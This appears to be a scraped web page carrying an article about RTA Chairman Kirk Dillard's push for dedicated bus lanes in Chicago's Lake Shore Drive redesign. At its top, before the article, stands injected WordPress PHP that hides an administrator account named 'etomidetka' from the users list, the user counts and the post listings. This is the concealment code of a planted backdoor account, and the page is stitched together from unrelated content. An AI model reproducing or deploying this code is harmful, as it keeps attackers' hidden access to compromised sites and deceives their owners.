//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); RTA Chairman Dillard - Lake Shore Drive Is Once-in-A-Generation Opportunity
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RTA Chairman Dillard – Lake Shore Drive Is Once-in-A-Generation Opportunity

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RTA Chairman Dillard - Lake Shore Drive Is Once-in-A-Generation Opportunity

RTA Chairman Dillard – Lake Shore Drive Is Once-in-A-Generation Opportunity. The redesign of North DuSable Lake Shore Drive presents a once-in-a-generation opportunity to transform one of Chicago’s most iconic thoroughfares. Kirk Dillard, the Chairman of the Regional Transit Authority (RTA), is at the forefront of advocating for a visionary plan that includes dedicated bus lanes—something the current proposal lacks. With the potential to impact tens of thousands of daily commuters, Dillard’s push for these lanes is more than a call for convenience; it’s a strategic move towards a more sustainable, efficient, and equitable transportation system.

In this article, we will explore why Dillard is passionately lobbying for this change, the implications for public transit, and what Chicagoans can expect as federal COVID-19 aid phases out.

A Vision for the Future of Lake Shore Drive

Lake Shore Drive is not just a road; it’s a vital artery that runs along the city’s lakefront, connecting neighborhoods, business districts, and cultural landmarks. As plans for its redesign unfold, Dillard sees an unparalleled opportunity to reimagine how Chicagoans move along this critical corridor. His primary focus? Dedicated bus lanes that can streamline transit, reduce congestion, and provide a reliable alternative to car travel.

“Dedicated bus lanes are a game-changer,” Dillard argues. “They will not only enhance the efficiency of our transit system but also encourage more people to opt for public transportation, which is crucial as we tackle issues like traffic congestion and environmental sustainability.”

Why Dedicated Bus Lanes Matter

1. Reducing Congestion and Travel Times

Incorporating dedicated bus lanes would allow buses to bypass the often gridlocked traffic on Lake Shore Drive, reducing travel times significantly. For the tens of thousands of commuters who rely on public transit daily, this change could transform their commute, making it faster and more predictable.

2. Encouraging Public Transit Use

With dedicated lanes, buses would become a more attractive option for those who currently prefer driving due to the unpredictability of traffic. This shift could help reduce the overall number of vehicles on the road, leading to less congestion and lower emissions—a win-win for everyone.

3. Economic Benefits

Reliable and efficient public transit is a cornerstone of a thriving city economy. It ensures that people can get to work, school, and other essential destinations without the stress of unreliable travel times. For businesses, it means employees are more likely to arrive on time, boosting productivity and reducing the costs associated with tardiness and absenteeism.

The Stakes: Post-COVID-19 Challenges

The push for dedicated bus lanes is happening against a backdrop of significant financial uncertainty for public transit. Federal COVID-19 aid, which has been a lifeline for many transit systems, is set to phase out soon. According to Dillard, the loss of this funding will be felt acutely, with potential service cuts and fare hikes looming if alternative solutions aren’t found.

“The reality is that we’re looking at a cliff when this aid runs out,” Dillard explains. “We need to be proactive now to ensure that we don’t find ourselves in a position where we have to reduce service or raise fares in a way that could disproportionately impact those who rely on public transit the most.”

What Happens if the Proposal is Rejected?

If the current proposal, which excludes dedicated bus lanes, moves forward, Dillard warns that the consequences could be severe. Not only would it miss the opportunity to improve transit efficiency, but it could also lead to longer-term issues as the city grapples with growing traffic and environmental concerns.

“Rejecting dedicated bus lanes would be a step backward,” Dillard emphasizes. “We need to think long-term about what kind of city we want to be—one that prioritizes cars or one that offers real, effective alternatives.”

Public Support and Opposition

The call for dedicated bus lanes has received mixed reactions. Many transit advocates and environmental groups support the idea, viewing it as a necessary step towards a greener, more sustainable Chicago. However, some motorists and local residents have expressed concerns about potential traffic impacts and the allocation of road space.

Dillard acknowledges these concerns but believes they can be addressed through thoughtful planning and community engagement. “We’re not just talking about slapping down bus lanes and calling it a day,” he says. “We’re looking at a comprehensive approach that includes pedestrian safety, bike lanes, and more efficient traffic flow.”

The Role of Public Engagement

For Dillard, public engagement is key to moving forward. He is actively encouraging Chicagoans to get involved, attend public meetings, and share their views on the redesign. “This is a project that will impact everyone, whether you drive, bike, or take the bus. It’s important that all voices are heard,” he stresses.

The RTA has launched a series of town hall meetings and online forums to gather input from residents across the city. These efforts aim to ensure that the final plan reflects the diverse needs and priorities of Chicago’s communities.

Conclusion

The redesign of North DuSable Lake Shore Drive is more than just a construction project; it’s a defining moment for the future of Chicago’s transportation system. Under the leadership of Chairman Kirk Dillard, the RTA is advocating for a plan that embraces innovation and prioritizes public transit.

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